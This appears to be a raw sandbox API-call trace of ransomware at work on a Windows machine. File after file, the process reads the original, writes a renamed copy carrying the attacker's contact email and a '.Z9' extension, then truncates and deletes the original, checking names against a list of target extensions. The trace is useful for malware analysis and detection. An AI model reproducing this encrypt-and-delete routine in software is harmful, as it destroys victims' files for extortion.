	[0071.986] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.986] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0071.986] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.986] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.986] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0071.986] GetLastError () returned 0x0
	[0071.986] ReadFile (in: hFile=0x2bc, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x159d5, lpOverlapped=0x0) returned 1
	[0072.016] WriteFile (in: hFile=0x35c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x159e0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x159e0, lpOverlapped=0x0) returned 1
	[0072.019] ReadFile (in: hFile=0x2bc, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.019] WriteFile (in: hFile=0x35c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0072.019] SetEndOfFile (hFile=0x35c) returned 1
	[0072.019] CloseHandle (hObject=0x35c) returned 1
	[0072.021] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.021] SetEndOfFile (hFile=0x2bc) returned 1
	[0072.023] CloseHandle (hObject=0x2bc) returned 1
	[0072.023] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.024] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 1
	[0072.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0072.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0072.024] lstrlenW (lpString=".doc") returned 4
	[0072.024] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.024] lstrlenW (lpString=".docx") returned 5
	[0072.024] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1
	[0072.024] lstrlenW (lpString=".pdf") returned 4
	[0072.024] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.024] lstrlenW (lpString=".xls") returned 4
	[0072.024] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.024] lstrlenW (lpString=".xlsx") returned 5
	[0072.024] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1
	[0072.024] lstrlenW (lpString=".ppt") returned 4
	[0072.024] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0072.024] lstrlenW (lpString=".zip") returned 4
	[0072.024] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.024] lstrlenW (lpString=".rar") returned 4
	[0072.024] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.024] lstrlenW (lpString=".bz2") returned 4
	[0072.024] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.025] lstrlenW (lpString=".7z") returned 3
	[0072.025] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.025] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0072.025] lstrlenW (lpString=".dbf") returned 4
	[0072.025] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.025] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0072.025] lstrlenW (lpString=".1cd") returned 4
	[0072.025] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.025] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0072.025] lstrlenW (lpString=".jpg") returned 4
	[0072.025] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.025] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0072.025] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0072.025] lstrlenW (lpString=".doc") returned 4
	[0072.025] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.025] lstrlenW (lpString=".docx") returned 5
	[0072.025] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1
	[0072.025] lstrlenW (lpString=".pdf") returned 4
	[0072.025] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.025] lstrlenW (lpString=".xls") returned 4
	[0072.025] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.025] lstrlenW (lpString=".xlsx") returned 5
	[0072.025] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1
	[0072.025] lstrlenW (lpString=".ppt") returned 4
	[0072.025] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.025] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0072.025] lstrlenW (lpString=".zip") returned 4
	[0072.025] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.025] lstrlenW (lpString=".rar") returned 4
	[0072.025] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.025] lstrlenW (lpString=".bz2") returned 4
	[0072.025] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.025] lstrlenW (lpString=".7z") returned 3
	[0072.025] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.026] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0072.026] lstrlenW (lpString=".dbf") returned 4
	[0072.026] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.026] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0072.026] lstrlenW (lpString=".1cd") returned 4
	[0072.026] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.026] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37
	[0072.026] lstrlenW (lpString=".jpg") returned 4
	[0072.026] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.026] lstrcmpiW (lpString1=".ico", lpString2=".Z9") returned -1
	[0072.026] lstrlenW (lpString="Rotate2.ico") returned 11
	[0072.026] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0072.045] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=894) returned 1
	[0072.045] CloseHandle (hObject=0x35c) returned 1
	[0072.046] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 0x80
	[0072.046] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.047] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0072.047] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.047] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.047] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0072.052] GetLastError () returned 0x0
	[0072.052] ReadFile (in: hFile=0x35c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x37e, lpOverlapped=0x0) returned 1
	[0072.056] WriteFile (in: hFile=0x374, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x380, lpOverlapped=0x0) returned 1
	[0072.057] ReadFile (in: hFile=0x35c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.057] WriteFile (in: hFile=0x374, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xea, lpOverlapped=0x0) returned 1
	[0072.057] SetEndOfFile (hFile=0x374) returned 1
	[0072.057] CloseHandle (hObject=0x374) returned 1
	[0072.058] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.058] SetEndOfFile (hFile=0x35c) returned 1
	[0072.059] CloseHandle (hObject=0x35c) returned 1
	[0072.059] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.059] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 1
	[0072.061] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0072.061] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0072.061] lstrlenW (lpString=".doc") returned 4
	[0072.061] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.061] lstrlenW (lpString=".docx") returned 5
	[0072.061] lstrcmpiW (lpString1=".docx", lpString2="2.ico") returned -1
	[0072.061] lstrlenW (lpString=".pdf") returned 4
	[0072.061] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.061] lstrlenW (lpString=".xls") returned 4
	[0072.061] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.061] lstrlenW (lpString=".xlsx") returned 5
	[0072.061] lstrcmpiW (lpString1=".xlsx", lpString2="2.ico") returned -1
	[0072.061] lstrlenW (lpString=".ppt") returned 4
	[0072.061] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.061] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0072.061] lstrlenW (lpString=".zip") returned 4
	[0072.061] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.061] lstrlenW (lpString=".rar") returned 4
	[0072.061] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.061] lstrlenW (lpString=".bz2") returned 4
	[0072.061] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.061] lstrlenW (lpString=".7z") returned 3
	[0072.061] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.061] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0072.061] lstrlenW (lpString=".dbf") returned 4
	[0072.061] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.061] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0072.061] lstrlenW (lpString=".1cd") returned 4
	[0072.061] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0072.062] lstrlenW (lpString=".jpg") returned 4
	[0072.062] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0072.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0072.062] lstrlenW (lpString=".doc") returned 4
	[0072.062] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.062] lstrlenW (lpString=".docx") returned 5
	[0072.062] lstrcmpiW (lpString1=".docx", lpString2="2.ico") returned -1
	[0072.062] lstrlenW (lpString=".pdf") returned 4
	[0072.062] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.062] lstrlenW (lpString=".xls") returned 4
	[0072.062] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.062] lstrlenW (lpString=".xlsx") returned 5
	[0072.062] lstrcmpiW (lpString1=".xlsx", lpString2="2.ico") returned -1
	[0072.062] lstrlenW (lpString=".ppt") returned 4
	[0072.062] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0072.062] lstrlenW (lpString=".zip") returned 4
	[0072.062] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.062] lstrlenW (lpString=".rar") returned 4
	[0072.062] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.062] lstrlenW (lpString=".bz2") returned 4
	[0072.062] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.062] lstrlenW (lpString=".7z") returned 3
	[0072.062] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0072.062] lstrlenW (lpString=".dbf") returned 4
	[0072.062] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0072.062] lstrlenW (lpString=".1cd") returned 4
	[0072.062] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42
	[0072.062] lstrlenW (lpString=".jpg") returned 4
	[0072.062] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.063] lstrcmpiW (lpString1=".ico", lpString2=".Z9") returned -1
	[0072.063] lstrlenW (lpString="Rotate3.ico") returned 11
	[0072.063] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0072.068] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=894) returned 1
	[0072.068] CloseHandle (hObject=0x300) returned 1
	[0072.073] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 0x80
	[0072.073] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.074] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0072.074] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.074] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.074] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0072.078] GetLastError () returned 0x0
	[0072.078] ReadFile (in: hFile=0x300, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x37e, lpOverlapped=0x0) returned 1
	[0072.082] WriteFile (in: hFile=0x374, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x380, lpOverlapped=0x0) returned 1
	[0072.083] ReadFile (in: hFile=0x300, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.083] WriteFile (in: hFile=0x374, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xea, lpOverlapped=0x0) returned 1
	[0072.083] SetEndOfFile (hFile=0x374) returned 1
	[0072.091] CloseHandle (hObject=0x374) returned 1
	[0072.095] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.095] SetEndOfFile (hFile=0x300) returned 1
	[0072.098] CloseHandle (hObject=0x300) returned 1
	[0072.102] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.103] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 1
	[0072.103] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0072.103] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0072.103] lstrlenW (lpString=".doc") returned 4
	[0072.103] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.103] lstrlenW (lpString=".docx") returned 5
	[0072.103] lstrcmpiW (lpString1=".docx", lpString2="3.ico") returned -1
	[0072.103] lstrlenW (lpString=".pdf") returned 4
	[0072.103] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.103] lstrlenW (lpString=".xls") returned 4
	[0072.103] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.103] lstrlenW (lpString=".xlsx") returned 5
	[0072.103] lstrcmpiW (lpString1=".xlsx", lpString2="3.ico") returned -1
	[0072.103] lstrlenW (lpString=".ppt") returned 4
	[0072.103] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.103] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0072.104] lstrlenW (lpString=".zip") returned 4
	[0072.104] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.104] lstrlenW (lpString=".rar") returned 4
	[0072.104] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.104] lstrlenW (lpString=".bz2") returned 4
	[0072.104] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.104] lstrlenW (lpString=".7z") returned 3
	[0072.104] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0072.104] lstrlenW (lpString=".dbf") returned 4
	[0072.104] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0072.104] lstrlenW (lpString=".1cd") returned 4
	[0072.104] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0072.104] lstrlenW (lpString=".jpg") returned 4
	[0072.104] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0072.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0072.104] lstrlenW (lpString=".doc") returned 4
	[0072.104] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.104] lstrlenW (lpString=".docx") returned 5
	[0072.104] lstrcmpiW (lpString1=".docx", lpString2="3.ico") returned -1
	[0072.104] lstrlenW (lpString=".pdf") returned 4
	[0072.104] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.104] lstrlenW (lpString=".xls") returned 4
	[0072.104] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.104] lstrlenW (lpString=".xlsx") returned 5
	[0072.104] lstrcmpiW (lpString1=".xlsx", lpString2="3.ico") returned -1
	[0072.104] lstrlenW (lpString=".ppt") returned 4
	[0072.104] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0072.104] lstrlenW (lpString=".zip") returned 4
	[0072.104] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.104] lstrlenW (lpString=".rar") returned 4
	[0072.105] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.105] lstrlenW (lpString=".bz2") returned 4
	[0072.105] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.105] lstrlenW (lpString=".7z") returned 3
	[0072.105] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.105] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0072.105] lstrlenW (lpString=".dbf") returned 4
	[0072.105] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.105] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0072.105] lstrlenW (lpString=".1cd") returned 4
	[0072.105] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.105] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42
	[0072.105] lstrlenW (lpString=".jpg") returned 4
	[0072.105] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.105] lstrcmpiW (lpString1=".ico", lpString2=".Z9") returned -1
	[0072.105] lstrlenW (lpString="Rotate6.ico") returned 11
	[0072.105] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0072.105] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=894) returned 1
	[0072.105] CloseHandle (hObject=0x364) returned 1
	[0072.105] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 0x80
	[0072.105] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.106] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0072.106] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.106] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.106] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0072.106] GetLastError () returned 0x0
	[0072.106] ReadFile (in: hFile=0x364, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x37e, lpOverlapped=0x0) returned 1
	[0072.129] WriteFile (in: hFile=0x2bc, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x380, lpOverlapped=0x0) returned 1
	[0072.130] ReadFile (in: hFile=0x364, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
